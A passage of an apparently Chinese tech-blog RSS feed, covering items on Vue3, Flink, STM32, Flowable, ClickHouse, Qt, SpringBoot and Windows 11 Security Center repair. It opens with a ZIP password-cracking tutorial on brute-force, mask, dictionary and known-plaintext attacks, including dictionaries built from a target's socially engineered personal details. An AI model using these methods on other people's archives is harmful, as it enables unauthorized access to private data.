一般步骤：选择要破解的压缩包-&amp;gt;选择攻击类型-&amp;gt;选择范围-&amp;gt;选择长度-&amp;gt;开始&#xA;暴力破解演示&#xA;选择范围：数字和小写字母 长度：1-4进行暴力破解，成功恢复文件口令。&#xA;掩码攻击演示&#xA;已知口令部分内容，剩余部分未知，可用此攻击类型。&#xA;典型场景：身份证和手机号部分位数加密缺失，如131****1234&#xA;字典攻击&#xA;加载具体的口令字典进行暴力破解&#xA;典型场景：通过社会工程学获取到压缩包所属作者关联信息，如手机、QQ和生日等进行字符组合生成字典进行暴力破解。&#xA;在线社会工程学密码口令字典生成器：https://www.bugku.com/mima/&#xA;明文攻击&#xA;指通过某种方式得知加密压缩包里面的某个文件内容，利用同一个ZIP压缩包里所有文件都使用同一个密钥来加密的特性，通过对比加密压缩包和不加密压缩包，最终找出加密压缩包的密钥并解锁其他加密文件。&#xA;典型场景：WEB安全中通过路径扫描获取到网站备份压缩包，内容被加密了。但是可以通过扫描网站获取到一些静态文件内容，这些静态文件属于网站文件的一部分，也是加密备份文件里面的内容。</description>
    </item>
    <item>
      <title>Vue3 实现JS动态改变CSS样式</title>
      <link>https://bchobby.github.io/posts/b3aff0504907afca9f40d238bfdfc4f8/</link>
      <pubDate>Thu, 24 Aug 2023 10:37:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3aff0504907afca9f40d238bfdfc4f8/</guid>
      <description> 以颜色为例子&#xA;定义颜色变量&#xA;import { reactive } from &#39;vue&#39;; // 可变的主题颜色 let chooseColor = reactive({ &#39;--color&#39;: &#39;#be2a27&#39; }) CSS中使用 var() 函数引用颜色变量(这里是用elementPlus为例, 也可以改)&#xA;:deep(.is-active) { color: var(--color); border-bottom: 2px solid var(--color); } 在html标签中绑定动态style&#xA;&amp;lt;el-tabs v-model=&#34;activeName&#34; type=&#34;card&#34; class=&#34;demo-tabs&#34; @tab-click=&#34;goTab&#34; :style=&#34;chooseColor&#34;&amp;gt; &amp;lt;el-tab-pane label=&#34;首页&#34; name=&#34;home&#34;&amp;gt;&amp;lt;/el-tab-pane&amp;gt; &amp;lt;el-tab-pane label=&#34;产品&#34; name=&#34;product&#34;&amp;gt;&amp;lt;/el-tab-pane&amp;gt; &amp;lt;el-tab-pane label=&#34;云易购&#34; name=&#34;cloudShop&#34;&amp;gt;&amp;lt;/el-tab-pane&amp;gt; &amp;lt;/el-tabs&amp;gt; JS判断切换的tab, 来改变颜色变量的颜色&#xA;// 切换 tab 跳转页面, 变换颜色 const goTab = (tab, e) =&amp;gt; { if (tab.paneName == &#39;首页&#39;) { chooseColor[&#39;--color&#39;] = &#39;#d97817&#39; } else { chooseColor[&#39;--color&#39;] = &#39;#be2a27&#39; } } </description>
    </item>
    <item>
      <title>关于Flink Checkpoint 参数详解</title>
      <link>https://bchobby.github.io/posts/1ec6c8c2334b1033d4c37ab11b5cbbb4/</link>
      <pubDate>Thu, 24 Aug 2023 10:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ec6c8c2334b1033d4c37ab11b5cbbb4/</guid>
      <description>在工作中，使用到了flink的 Checkpoint 配置操作&#xA;遇到了个问题，业务逻辑是：使用flink流 处理数据后，放入kafka中，&#xA;但是在flink程序 kafka流消费时，发现只有100条的，现在有 &amp;gt; 100条数据进行消费，&#xA;查询问题后，发现flink 的 Checkpoint 配置含义，如下：&#xA;什么是 checkpoint 保存状态&#xA;Checkpoint 参数详解 StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); // 每 60s 做一次 checkpoint env.enableCheckpointing(60000); // 高级配置： // checkpoint 语义设置为 EXACTLY_ONCE，这是默认语义 env.getCheckpointConfig().setCheckpointingMode(CheckpointingMode.EXACTLY_ONCE); // 两次 checkpoint 的间隔时间至少为 1 s，默认是 0，立即进行下一次 checkpoint env.getCheckpointConfig().setMinPauseBetweenCheckpoints(1000); // checkpoint 必须在 60s 内结束，否则被丢弃，默认是 10 分钟 env.getCheckpointConfig().setCheckpointTimeout(60000); // 同一时间只能允许有一个 checkpoint env.getCheckpointConfig().setMaxConcurrentCheckpoints(1); // 最多允许 checkpoint 失败 3 次 env.getCheckpointConfig().setTolerableCheckpointFailureNumber(3); // 当 Flink 任务取消时，保留外部保存的 checkpoint 信息 env.</description>
    </item>
    <item>
      <title>STM32使用printf的方法</title>
      <link>https://bchobby.github.io/posts/3fc233a330f5b47559a5b475dd88dde6/</link>
      <pubDate>Thu, 24 Aug 2023 09:22:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fc233a330f5b47559a5b475dd88dde6/</guid>
      <description>工作需要，连接打印机，如果用printf 输出汉字会省力很多&#xA;方法一：&#xA;//加入以下代码就不用选择使用微库&#xA;#if 1&#xA;#pragma import(__use_no_semihosting) struct __FILE { int handle; }; FILE __stdout; void _sys_exit(int x) { x = x; } int fputc(int ch, FILE *f)&#xA;{ while((USART1-&amp;gt;SR&amp;amp;0X40)==0);&#xA;USART1-&amp;gt;DR = (u8) ch; return ch;&#xA;}&#xA;#endif 例子：&#xA;int main(void)&#xA;{&#xA;uart_init(9600);&#xA;printf(&#34;hellow&#34;); }&#xA;方法二：使用微库，只需要定义fputc&#xA;在代码uart.c 中添加 如下代码 (目的是为了调用stdio库中的print 函数)&#xA;#include &#34;stdio.h&#34;//里面包含printf&#xA;int fputc(int ch, FILE *f)&#xA;{&#xA;while((USART1-&amp;gt;SR&amp;amp;0X40)==0);//循环发送,直到发送完毕&#xA;USART1-&amp;gt;DR = (u8) ch;&#xA;return ch;&#xA;}</description>
    </item>
    <item>
      <title>工作流程引擎之flowable（集成springboot）</title>
      <link>https://bchobby.github.io/posts/5b0127b896cad57c12b6513678af9e53/</link>
      <pubDate>Wed, 23 Aug 2023 20:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b0127b896cad57c12b6513678af9e53/</guid>
      <description>0、背景 现状：公司各部门业务系统有各自的工作流引擎，也有cross function的业务在不同系统或OA系统流转，没有统一的去规划布局统一的BPM解决方案，近期由于一个项目引发朝着整合统一的BPM方案，特了解一下市面上比较主流的开源和收费的工作流引擎。本文主要介绍开源的工作流引擎flowable.&#xA;1、开源工作流引擎比较 开源工作流引擎是一种用于管理和自动化业务流程的软件，它可以帮助用户实现业务流程的可视化设计、流程编排、任务调度、监控和优化等功能。本文将介绍几种常见的开源工作流引擎，并进行比较。目前市场上比较主流的开源流程引擎有：Activiti、Camunda、Flowable。&#xA;1.1、Activiti Activiti是一个轻量级的开源工作流引擎，采用Java语言开发，基于BPMN 2.0规范，支持嵌入式部署和分布式部署。Activiti提供了丰富的API和插件，支持与Java应用程序进行集成。它还提供了Web界面和REST API，可以方便地进行流程设计、部署、调度和监控。Activiti具有以下优点：&#xA;易用性和灵活性：Activiti提供了简单易用的流程设计器和API，支持多种流程模型和任务类型，可以满足不同场景和需求的使用。可伸缩性和性能：Activiti支持嵌入式和分布式部署，可以扩展集群规模以支持更大的业务流程和更高的并发量。此外，它还提供了优化和缓存机制，可以提高性能和响应速度。社区支持和生态系统：Activiti拥有庞大的社区和活跃的开发者，提供了丰富的插件和工具，可以扩展其功能和使用。例如，Activiti Explorer可以用于流程设计和管理，Camunda Modeler可以用于编辑BPMN模型，Flowable Task可以用于任务管理等。安全性和可靠性：Activiti提供了可靠的安全性控制，可以对数据进行访问控制和加密，以满足不同场景和需求的安全要求。它还提供了事务管理和错误处理机制，可以保证业务流程的可靠性和稳定性。 1.2、Camunda Camunda是一个强大的开源工作流引擎，采用Java语言开发，支持BPMN 2.0规范和CMMN规范。Camunda提供了丰富的API和插件，支持与Java应用程序进行集成。它还提供了Web界面和REST API，可以方便地进行流程设计、部署、调度和监控。Camunda具有以下优点：&#xA;功能丰富和灵活性：Camunda提供了丰富的功能和灵活的流程设计，支持多种流程模型和任务类型，可以满足不同场景和需求的使用。可伸缩性和性能：Camunda支持嵌入式和分布式部署，可以扩展集群规模以支持更大的业务流程和更高的并发量。此外，它还提供了优化和缓存机制，可以提高性能和响应速度。社区支持和生态系统：Camunda拥有庞大的社区和活跃的开发者，提供了丰富的插件和工具，可以扩展其功能和使用。例如，Camunda Modeler可以用于编辑BPMN模型，Camunda Cockpit可以用于任务管理和流程监控，Camunda Tasklist可以用于任务列表等。可扩展的架构和API：Camunda采用可扩展的架构和API，可以方便地进行集成和扩展。例如，它支持自定义流程引擎插件、外部任务处理器、表单引擎等。安全性和可靠性：Camunda提供了可靠的安全性控制，可以对数据进行访问控制和加密，以满足不同场景和需求的安全要求。它还提供了事务管理和错误处理机制，可以保证业务流程的可靠性和稳定性。 1.3、Flowable Flowable是一个开源的轻量级工作流引擎，基于Activiti 5.x版本开发，支持BPMN 2.0规范和CMMN规范。Flowable提供了丰富的API和插件，支持与Java应用程序进行集成。它还提供了Web界面和REST API，可以方便地进行流程设计、部署、调度和监控。Flowable具有以下优点：&#xA;易用性和灵活性：Flowable提供了简单易用的流程设计器和API，支持多种流程模型和任务类型，可以满足不同场景和需求的使用。可伸缩性和性能：Flowable支持嵌入式和分布式部署，可以扩展集群规模以支持更大的业务流程和更高的并发量。此外，它还提供了优化和缓存机制，可以提高性能和响应速度。社区支持和生态系统：Flowable拥有庞大的社区和活跃的开发者，提供了丰富的插件和工具，可以扩展其功能和使用。例如，Flowable Modeler可以用于流程设计和管理，Flowable Task可以用于任务管理和流程监控，Flowable Admin可以用于集群管理等。可扩展的架构和API：Flowable采用可扩展的架构和API，可以方便地进行集成和扩展。例如，它支持自定义流程引擎插件、外部任务处理器、表单引擎等。安全性和可靠性：Flowable提供了可靠的安全性控制，可以对数据进行访问控制和加密，以满足不同场景和需求的安全要求。它还提供了事务管理和错误处理机制，可以保证业务流程的可靠性和稳定性。 2、flowable安装 2.1、下载软件 Github链接，目前flowable已经更新到Flowable 7.0.0.M2版本了。&#xA;安装方式有很多，可以通过下载zip包也可以通过docker拉取镜像进行部署，本文采用zip的window环境部署。&#xA;下载安装包，我下载的是flowable-6.7.0版本，同时需要配合tomcat（选择的是apache-tomcat-9.0.79版本）服务进行部署，tomcat下载地址：&#xA;下载上面两个软件之后还需要配置flowale的配置数据存储，我选择的mysql数据库，当然他还支持其他数据库类型。mysql数据库是docker镜像运行的，这里不再赘述安装过程，可以看我往期docker mysql安装.&#xA;2.2、解压运行 分别解压tomcat和flowable：&#xA;把flowable-6.7.0\wars目录下的flowable-ui.war拷贝到apache-tomcat-9.0.79\webapps下面启动tomcat startup.bat&#xA;此时会解压war文件，同时会删除war文件，同时会生成新文件apache-tomcat-9.0.79\webapps\flowable-ui.&#xA;2.3、配置数据源 修改apache-tomcat-9.0.79\webapps\flowable-ui\WEB-INF\classes\flowable-default.properties&#xA;参考：&#xA;server.port=8080 server.servlet.context-path=/flowable-ui spring.jmx.unique-names=true # This is needed to force use of JDK proxies instead of using CGLIB spring.aop.proxy-target-class=false spring.aop.auto=false spring.application.name=flowable-ui spring.banner.location=classpath:/org/flowable/spring/boot/flowable-banner.txt # The default domain for generating ObjectNames must be specified.</description>
    </item>
    <item>
      <title>一文读懂clickhouse 的normal join和global join区别</title>
      <link>https://bchobby.github.io/posts/7204b2f3b00a5d629514c607d05e79b9/</link>
      <pubDate>Wed, 23 Aug 2023 19:29:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7204b2f3b00a5d629514c607d05e79b9/</guid>
      <description>文章目录 背景表定义SQL-1结果1 SQL-2结果2 思考Shuffle JoinBroadcast JoinColocate Join重看问题distributed_product_mode范围可能值 测试 总结 背景 同事问了我一个这样的问题，语义如下&#xA;表定义 定义两个分布式表&#xA;tablea 2 shard 1 replica user_id不是分区键&#xA;tableb 2 shard 1 replica user_id是分区键&#xA;SQL-1 select count(1) from tablea_all as ta join tableb_all as tb on ta.user_id=tb.user_id where ta.user_id=1 结果1 result is 1&#xA;SQL-2 select count(1) from tablea_all as ta global join tableb_all as tb on ta.user_id=tb.user_id where ta.user_id=1 两个SQL只是join 方式不一样而已&#xA;结果2 result is 2&#xA;结果竟然不一样？？？&#xA;思考 在我之前的知识体系里，clickhouse 的join分成三种</description>
    </item>
    <item>
      <title>cnocr安装和识别文字</title>
      <link>https://bchobby.github.io/posts/e15364e0d549d735639874e043af1711/</link>
      <pubDate>Wed, 23 Aug 2023 18:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e15364e0d549d735639874e043af1711/</guid>
      <description>cnocr 介绍 参考：&#xA;cnocr: 极简的中文OCR Python包&#xA;https://cnocr.readthedocs.io/zh/latest/&#xA;cnocr 主要针对的是排版简单的印刷体文字图片，如截图图片，扫描件等。目前内置的文字检测和分行模块无法处理复杂的文字排版定位。如果要用于场景文字图片的识别，需要结合其他的场景文字检测引擎使用，例如文字检测引擎 cnstd。&#xA;目前使用的识别模型是crnn，识别准确度约为 98.7%&#xA;安装&#xA;pip install cnocr import cnocr # 创建 cnocr 对象 ocr = cnocr.CnOcr() # 读取图像文件 image_path = &#39;./pic/img_2.png&#39; result = ocr.ocr(image_path) print(result) text = &#39; &#39;.join([x[&#39;text&#39;] for x in result]) 注意cnocr.CnOcr()可能报错网络失败，&#xA;huggingface_hub.utils._errors.LocalEntryNotFoundError: Connection error, and we cannot find the requested files in the disk cache. Please try again or make sure your Internet connection is on. OR</description>
    </item>
    <item>
      <title>CSS媒体查询的用法</title>
      <link>https://bchobby.github.io/posts/ae832d39764736b73e5a525efcec9d7f/</link>
      <pubDate>Wed, 23 Aug 2023 17:31:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae832d39764736b73e5a525efcec9d7f/</guid>
      <description>媒体查询：根据设备显示器的特性（如视窗宽度、屏幕宽度、设备方向等）来设定不同的CSS样式，媒体查询由媒体类型和一个或多个检测媒体特性的条件表达式组成。&#xA;一、媒体查询的使用方法 1、外链式：在head标签的内部使用 link 标签引入外部css文件&#xA;&amp;lt;head&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; media=&#34;(min-width: 1200px)&#34; href=&#34;test.css&#34; /&amp;gt; &amp;lt;/head&amp;gt; min-width: 1200px 表示当视窗宽度大于等于1200px时，该样式生效。&#xA;2、内部方式：使用内部样式表，写在 style 标签里面&#xA;&amp;lt;style&amp;gt; @media (max-width: 1200px) { .test{ width: 800px; } } &amp;lt;/style&amp;gt; max-width: 1200px 表示当视窗宽度小于等于1200px时，该样式生效。&#xA;二、媒体查询的语法 &amp;lt;style&amp;gt; @media mediaType and (mediaFeature ) { 选择器 { 属性名：属性值 } } // 多个媒体特性 @media mediaType and (mediaFeature ) and (mediaFeature ) { 选择器 { 属性名：属性值 } } &amp;lt;/style&amp;gt; 1. mediaType - 媒体类型（默认all）：&#xA;all: 所有的多媒体设备print: 打印机或打印预览screen：电脑屏幕、平板电脑、智能手机等speech：屏幕阅读器等发声设备 示例：</description>
    </item>
    <item>
      <title>QT学习笔记-开发环境编译Qt MySql数据库驱动与交叉编译Qt MySql数据库驱动</title>
      <link>https://bchobby.github.io/posts/17ed48d58bccaf56a7c8dbbf0262f17b/</link>
      <pubDate>Wed, 23 Aug 2023 16:59:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17ed48d58bccaf56a7c8dbbf0262f17b/</guid>
      <description>QT学习笔记-开发环境编译Qt MySql数据库驱动与交叉编译Qt MySql数据库驱动 0、背景1、基本环境2、开发环境编译Qt MySql数据库驱动2.1 依赖说明2.2 MySQL驱动编译过程 3、交叉编译Qt MySql数据库驱动3.1 依赖说明3.3.1 如何在交叉编译服务器上找到mysql.h及相关头文件3.3.2 如果在交叉编译服务器上获得目标系统（ARM版本）的libmysqlclient.so库 3.2 MySQL驱动交叉编译过程 4、把数据库驱动部署到目标系统中5、QT测试程序访问MySQL数据库5.1 关键代码5.2 执行结果 0、背景 如果需要在QT程序中实现与MySQL数据库的交互，那么必不可少的一环就是对Qt MySql数据库驱动的编译。&#xA;1、基本环境 操作系统：Windows10 专业版 64位&#xA;Qt版本：Qt 5.15.2&#xA;开发环境Qt安装路径：D:\Qt&#xA;交叉编译服务器：Ubuntu 18.4&#xA;交叉编译服务器Qt安装路径：/opt/Qt&#xA;目标芯片：rk3568&#xA;目标平台：arm64&#xA;Qt安装时需要勾选安装源码，否则是无法找到Qt的数据库驱动源码的。&#xA;2、开发环境编译Qt MySql数据库驱动 2.1 依赖说明 mysql.h及相关头文件libmysql.lib 因为在编译Qt MySql驱动源码是需要依赖libmysql.lib和mysql.h头文件，在开发环境中（Windows）我们可以通过安装MySql服务&#xA;开发环境中MySQL的安装说明：&#xA;版本：5.7&#xA;安装目录：C:\Program Files\MySQL\MySQL Server 5.7&#xA;libmysql.lib所在目录：C:\Program Files\MySQL\MySQL Server 5.7\lib&#xA;mysql.h及相关头文件所在目录：C:\Program Files\MySQL\MySQL Server 5.7\include&#xA;2.2 MySQL驱动编译过程 1、驱动源码目录：D:\Qt\5.15.2\Src\qtbase\src\plugins\sqldrivers\mysql&#xA;2、在Windows的开始菜单中找到Qt5.15.2(MinGW 8.1.0 64-bit)命令行工具&#xA;3、切换到mysql驱动源码目录下：D:\Qt\5.15.2\Src\qtbase\src\plugins\sqldrivers\mysql，然后分别执行以下命令&#xA;qmake “INCLUDEPATH+=‘C:\Program Files\MySQL\MySQL Server 5.7\include’” “LIBS+=‘C:\Program Files\MySQL\MySQL Server 5.</description>
    </item>
    <item>
      <title>Harbor 2.3.0 安装报错Cannot start service registry: failed to create task for container: failed to initi</title>
      <link>https://bchobby.github.io/posts/541c5092d492e1b7b573fed573592c38/</link>
      <pubDate>Wed, 23 Aug 2023 16:39:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/541c5092d492e1b7b573fed573592c38/</guid>
      <description>Harbor 2.3.0 安装报错如下： 安装错误： [Step 5]: starting Harbor ...&#xA;Creating network &#34;harbor_harbor&#34; with the default driver&#xA;Creating harbor-log ... done&#xA;Creating harbor-portal ... Creating harbor-db ... Creating registry ... error&#xA;Creating harbor-portal ... error&#xA;Creating registryctl ... ERROR: for registry Cannot start service registry: failed to create task for container: failed to initialize logging driver: Creating harbor-db ... error&#xA;ERROR: for harbor-portal Cannot start service portal: failed to create task for container: failed to initialize logging driver: dial tcp [::1]:1514: connect: connection refused</description>
    </item>
    <item>
      <title>Linux的目录</title>
      <link>https://bchobby.github.io/posts/7ae8c66118bc4276650451267a963590/</link>
      <pubDate>Wed, 23 Aug 2023 15:58:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ae8c66118bc4276650451267a963590/</guid>
      <description>Linux 操作系统只有一颗文件树 以树根“/”为起点 主要目录：&#xA;/boot:系统启动目录 ：&#xA;存放的是启动Linux时的一些核心文件，包括一些链接文件及映像文件，保存与系统启动相关的文件。&#xA;/dev:Linux设备文件保存位置：&#xA;该目录存放的是Linux的外部设备，都是以文件的形式存在的。&#xA;/etc:该目录用来存放系统管理员所需要的配置文件和子目录的文件保存位置，一般只能由管理员进行修改，密码文件，网络配置信息，系统内所有采用默认安装方式的服务配置文件全部保存在该目录下&#xA;/home：普通用户的主目录（也称为家目录）。在创建用户时，每个用户要有一个默认登录和保存自己数据的位置就是主目录，所有普通用户的主目录都是在/home下建立一个和用户名相同的目录，为该用户分配一个空间，例如，用户user01的主目录就是/home/user01,这个目录主要用户存放个人用户有关的相关文件&#xA;/media:挂载目录，建议用来挂载媒体设备，如软盘光盘&#xA;/mnt:挂载目录，该目录是空的，建议用力挂载额外的设备，如U盘，移动硬盘和其他操作系统的分区&#xA;/opt:第三方安装的软件的保存位置，该目录用于放置和安装其他软件，手工安装的源码包软件都可以安装到该目录下。但建议将软件放到/user/local目录下，也就是说,/user/local目录也可以用来安装软件。&#xA;/proc:虚拟目录，是系统内存的映射，可用来直接访问该目录来获取系统信息。该目录中的数据并不保存在硬盘中，而是保存到内存中。该目录主要用于保存系统的内核，进程，外部设备状态和网络状态等。例如，/proc/cpuinfo 是保存CPU信息的，/proc/devices 是保存设备驱动的列表的，/proc/filesystems是保存文件列表的，/proc/net 是保存网络协议的。&#xA;/root: 系统管理员的主目录，普通用户的主目录在/home目录下，root用户的主目录在/目录下&#xA;/run: 用于存放自系统启动以来描述系统信息的文件&#xA;/srv:服务数据目录，一些系统服务启动之后，可以在该目录下保存所需要的数据&#xA;/tmp:临时目录。系统存放临时文件的目录，在该目录下，所有用户都可以访问和写入。建议该目录下不要保存重要数据，最好每次开机都把该目录清空&#xA;/usr:该目录用于存储系统软件资源，即应用程序和文件，用户要用到的程序和文件几乎存放咋该目录下，如命令，帮助文件等，当安装一个Linux发行版官方提供的软件包时，大多安装在该目录下。&#xA;/var:用于存放运行时需要改变数据的文件，也是某些大文件的溢出区，如各种服务的日志文件（系统启动日志等）&#xA;/bin:存放系统基本的用户命令，基础系统所需要的命令位于该目录下，也是最小系统所需要的命令等，如ls、rm、cp等，普通用户和root用户都可以执行该目录下的文件，位于/bin下的命令在单用户模式下也可以执行。&#xA;/lib与/lib64:用于保存系统调用的函数库，包含最基本的共享库和内核模块，存放了用于启动系统和执行root文件系统的命令，如/bin/sbin的二进制文件的共享库，或者存放32位/64位（可使用file命令查看）文件。&#xA;/sbin:用于保存系统管理员，管理员用户权限可以执行</description>
    </item>
    <item>
      <title>SpringBoot配置文件的读取（包括list、map类型）</title>
      <link>https://bchobby.github.io/posts/e5ae46ff236f424812f5de67296c9e8d/</link>
      <pubDate>Wed, 23 Aug 2023 15:53:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5ae46ff236f424812f5de67296c9e8d/</guid>
      <description>前言 添加配置文件处理器的依赖，这样在编写配置文件的时候就会有提示了。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-configuration-processor&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 有了依赖，可以直接使用application.properties文件为我们工作了，这是Springboot的默认文件，它会通过其机制读取到上下文中，这样就可以引用它了&#xA;读取配置文件 在使用maven项目中，配置文件会放在resources根目录下。&#xA;我们的springBoot是用Maven搭建的，所以springBoot的默认配置文件和自定义的配置文件都放在此目录。&#xA;springBoot的 默认配置文件为 application.properties 或 application.yml，这里我们使用 application.properties。&#xA;首先在application.properties中添加我们要读取的数据。&#xA;server.port = 8081 custom.name = lonewalker custom.age = 18 第一种方式 我们可以通过@Value注解，这是Spring就有的，使用${...}占位符来读取配置在属性文件中的内容，既可以加在属性也可以加在方法上&#xA;import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; @Component public class User { @Value(&#34;${custom.name}&#34;) private String name; private Integer age; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } @Value(&#34;${custom.age}&#34;) public void setAge(Integer age) { this.</description>
    </item>
    <item>
      <title>【JAVA项目】计算机毕设基于web开发的宠物领养系统</title>
      <link>https://bchobby.github.io/posts/ea01b2a4c3c3900368c091ea2212cfc5/</link>
      <pubDate>Wed, 23 Aug 2023 15:42:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea01b2a4c3c3900368c091ea2212cfc5/</guid>
      <description>精彩专栏推荐订阅：在 下方专栏👇🏻👇🏻👇🏻👇🏻&#xA;💖🔥作者主页：计算机毕设木哥🔥 💖&#xA;文章目录 **一、网页介绍****二、网页效果**2.1图片展示 **三、摘要**四、代码展示五、以下是页面设计的亮点： 一、网页介绍 本文介绍了WEB宠物领养系统旨在帮助流浪动物找到家。通过现代技术，用户可以浏览不同宠物的信息，提交领养申请后经过审核匹配合适的宠物系统。&#xA;二、网页效果 2.1图片展示 用户模块：&#xA;管理员模块：&#xA;三、摘要 本文介绍了一个基于WEB的宠物领养系统，旨在帮助流浪动物寻找合适的家庭。该系统通过现代技术，让用户浏览不同种类的可领养宠物信息，包括照片、性格描述和健康状况等。用户可以提交领养申请，经过审核后进行匹配和推荐。系统注重信息透明和用户安全，为宠物和领养者搭建了一个安全可靠的连接平台，促进了宠物领养的便捷过程。&#xA;四、代码展示 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!DOCTYPE mapper PUBLIC &#34;-//mybatis.org//DTD Mapper 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-mapper.dtd&#34;&amp;gt; &amp;lt;mapper namespace=&#34;com.huang.dao.PetBlogMapper&#34;&amp;gt; &amp;lt;resultMap id=&#34;PetBlogResultMap&#34; type=&#34;com.huang.entity.PetBlog&#34;&amp;gt; &amp;lt;id property=&#34;id&#34; column=&#34;id&#34;/&amp;gt; &amp;lt;result property=&#34;introduce&#34; column=&#34;introduce&#34;/&amp;gt; &amp;lt;result property=&#34;images&#34; column=&#34;images&#34;/&amp;gt; &amp;lt;result property=&#34;title&#34; column=&#34;title&#34;/&amp;gt; &amp;lt;result property=&#34;userId&#34; column=&#34;userId&#34;/&amp;gt; &amp;lt;association property=&#34;user&#34; javaType=&#34;com.huang.entity.User&#34;&amp;gt; &amp;lt;id property=&#34;id&#34; column=&#34;id&#34;/&amp;gt; &amp;lt;result property=&#34;username&#34; column=&#34;username&#34;/&amp;gt; &amp;lt;result property=&#34;password&#34; column=&#34;password&#34;/&amp;gt; &amp;lt;result property=&#34;email&#34; column=&#34;email&#34;/&amp;gt; &amp;lt;result property=&#34;sex&#34; column=&#34;sex&#34;/&amp;gt; &amp;lt;result property=&#34;name&#34; column=&#34;name&#34;/&amp;gt; &amp;lt;result property=&#34;</description>
    </item>
    <item>
      <title>win11出现安全中心空白和IT管理员已限制对此应用的某些区域的访问</title>
      <link>https://bchobby.github.io/posts/13e28bec5a93297328b3daee249fc8e5/</link>
      <pubDate>Wed, 23 Aug 2023 15:32:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13e28bec5a93297328b3daee249fc8e5/</guid>
      <description>问题 windows安全中心服务被禁用&#xA;win+r 输入services.msc 找到windows安全中心服务查看是否被禁用，改为启动，不可以改动看第三条&#xA;打开设置，找到应用—windows安全中心–终止–修复–重置 重启如果还是不行看第四条&#xA;家庭版系统需要打开gpedit.msc–新建文件本&#xA;@echo off pushd &#34;%~dp0&#34; dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum &amp;gt;List.txt dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum &amp;gt;&amp;gt;List.txt for /f %%i in (&#39;findstr /i . List.txt 2^&amp;gt;nul&#39;) do dism /online /norestart /add-package:&#34;C:\Windows\servicing\Packages\%%i&#34; pause 另存为cmd格式—双击运行&#xA;打开本地组策略编辑器&#xA;禁用–右键属性–选择已禁用—重启–不行看第八条&#xA;编辑注册表—win+r&#xA;修改值–start改为4/8—重启（卸载所有第三方杀毒软件如火绒、360）&#xA;计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService 无法修改start&#xA;找到上级目录services 选择administrators —选择高级–更改&#xA;高级–立即查找–找到adminnistrator–选择或者输入everyone确定–勾选两个替换容器对象&#xA;选择administrator（everyone）–勾选权限–确定—修改start值（2/4/8）—重启电脑&#xA;完成</description>
    </item>
    <item>
      <title>如何在Ubuntu 18.04上安装PHP 7.4并搭建本地开发环境</title>
      <link>https://bchobby.github.io/posts/896990baad7697e87a0fa96d7ed54597/</link>
      <pubDate>Wed, 23 Aug 2023 13:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/896990baad7697e87a0fa96d7ed54597/</guid>
      <description>引言 PHP是一种流行的服务器脚本语言，用于创建动态和交互式web页面。开始使用你选择的语言是学习编程的第一步。&#xA;本教程将指导您在Ubuntu上安装PHP 7.4，并通过命令行设置本地编程环境。您还将安装依赖管理器Composer，并通过运行脚本来测试您的安装。&#xA;前期准备 要完成本教程，您需要安装Ubuntu 18.04的本地或虚拟机，并具有管理权限和到该机器的互联网连接。您可以通过Ubuntu发布页面下载此操作系统。&#xA;第1步 设置PHP 7.4 你将在命令行中完成安装和设置，这是一种与计算机交互的非图形化方式。也就是说，你不需要点击按钮，而是需要输入文本，并通过文本从计算机接收反馈。&#xA;命令行，也称为shell或终端，可以帮助您修改和自动化您每天在计算机上执行的许多任务，是软件开发人员的一个重要工具。要学习许多终端命令，它们可以让你做更强大的事情。这篇介绍Linux终端的文章可以让你更好地适应终端。&#xA;在Ubuntu上，你可以通过点击屏幕左上角的Ubuntu图标，在搜索栏中输入terminal来找到Terminal应用程序。单击终端应用程序图标来打开它。或者，您可以同时按下键盘上的CTRL、ALT和T键来自动打开终端应用程序。&#xA;您需要避免依赖PHP的默认版本，因为默认版本可能会根据您运行代码的位置更改。您可能还希望安装一个不同的版本以匹配您正在使用的应用程序，或者升级到较新的版本，如PHP 8。&#xA;运行以下命令来更新apt-get本身，它确保你可以访问你想要安装的任何内容的最新版本：&#xA;sudo apt-get update 接下来，安装software-properties-common，它可以管理额外的软件资源：&#xA;sudo apt -y install software-properties-common -y标志将自动同意安装。如果不这样做，每次安装都会在终端窗口中收到一个提示。&#xA;接下来，安装ppa:ondrej/php仓库，它将提供所有版本的PHP：&#xA;sudo add-apt-repository ppa:ondrej/php 最后，再次更新apt-get，让你的包管理器可以看到新列出的包：&#xA;sudo apt-get update 现在您可以使用以下命令安装PHP 7.4了：&#xA;sudo apt -y install php7.4 检查安装的版本：&#xA;php -v 你看到类似下面的内容：&#xA;OutputPHP 7.4.0beta4 (cli) (built: Aug 28 2019 11:41:49) ( NTS )ight (c) The PHP Group Zend Engine v3.4.0-dev, Copyright (c) Zend Technologies with Zend OPcache v7.</description>
    </item>
    <item>
      <title>vue 报错</title>
